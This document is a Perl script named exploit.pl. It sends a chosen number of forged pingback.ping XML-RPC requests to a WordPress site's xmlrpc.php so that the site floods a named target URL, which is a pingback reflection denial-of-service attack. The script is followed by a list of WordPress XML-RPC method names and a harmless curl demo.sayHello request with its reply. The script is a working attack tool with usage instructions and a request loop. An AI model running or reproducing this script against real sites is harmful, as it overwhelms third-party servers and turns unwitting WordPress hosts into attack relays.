#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common;
use IO::Socket::INET;
system("clear");
my $target = $ARGV[1] ;
my $xml_site = $ARGV[0];
my $article = $ARGV[3];
my $count = $ARGV[2];
if($count eq '' || $article eq '' || $xml_site eq '' || $target eq '')
{
print "\n[!] Usage: ./exploit.pl <xml_website> <target> <requests count> <real article>\n\n";
exit(1);
}
 
if($target !~ /http:\/\//)
{
$target = "http://$target";
}
if($xml_site !~ /http:\/\//)
{
$xml_site = "http://$xml_site";
}
 
$full = $target.$article;
sleep 1;
 
$text = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$target</string></value></param><param><value><string>$full</string></value></param></params></methodCall>";
$request_length= length $text;
 
print "Sending POST requests . . \n";
 
$filename = "pingback.txt";
open(FILE , "> $filename");
for($i=1;$i<=$count;$i++)
{
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0] , PeerPort => 'http(80)', Proto => 'tcp'); 
$request = "POST /xmlrpc.php HTTP/1.1\r\nHost: $ARGV[0]\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $request_length\r\n\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$ARGV[1]</string></value></param><param><value><string>$ARGV[0]$ARGV[3]</string></value></param></params></methodCall>\r\n\r\n";
sleep 1;
print $request;
print $sock $request;
while(<$sock>)
{
print FILE;
}
 
}

wp.getUsersBlogs
wp.newPost
wp.editPost
wp.deletePost
wp.getPost
wp.getPosts
wp.newTerm
wp.editTerm
wp.deleteTerm
wp.getTerm
wp.getTerms
wp.getTaxonomy
wp.getTaxonomies
wp.getUser
wp.getUsers
wp.getProfile
wp.editProfile
wp.getPage
wp.getPages
wp.newPage
wp.deletePage
wp.editPage
wp.getPageList
wp.getAuthors
wp.getCategories
wp.getTags
wp.newCategory
wp.deleteCategory
wp.suggestCategories
wp.uploadFile
wp.getCommentCount
wp.getPostStatusList
wp.getPageStatusList
wp.getPageTemplates
wp.getOptions
wp.setOptions
wp.getComment
wp.getComments
wp.deleteComment
wp.editComment
wp.newComment
wp.getCommentStatusList
wp.getMediaItem
wp.getMediaLibrary
wp.getPostFormats
wp.getPostType
wp.getPostTypes
wp.getRevisions
wp.restoreRevision
blogger.getUsersBlogs
blogger.getUserInfo
blogger.getPost
blogger.getRecentPosts
blogger.newPost
blogger.editPost
blogger.deletePost
metaWeblog.newPost
metaWeblog.editPost
metaWeblog.getPost
metaWeblog.getRecentPosts
metaWeblog.getCategories
metaWeblog.newMediaObject
metaWeblog.deletePost
metaWeblog.getUsersBlogs
mt.getCategoryList
mt.getRecentPostTitles
mt.getPostCategories
mt.setPostCategories
mt.supportedMethods
mt.supportedTextFilters
mt.getTrackbackPings
mt.publishPost
pingback.ping
pingback.extensions.getPingbacks
demo.sayHello
demo.addTwoNumbers

curl --data @demo.sayHello.txt http://www.example.com/xmlrpc.php

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <string>Hello!</string>
      </value>
    </param>
  </params>
</methodResponse>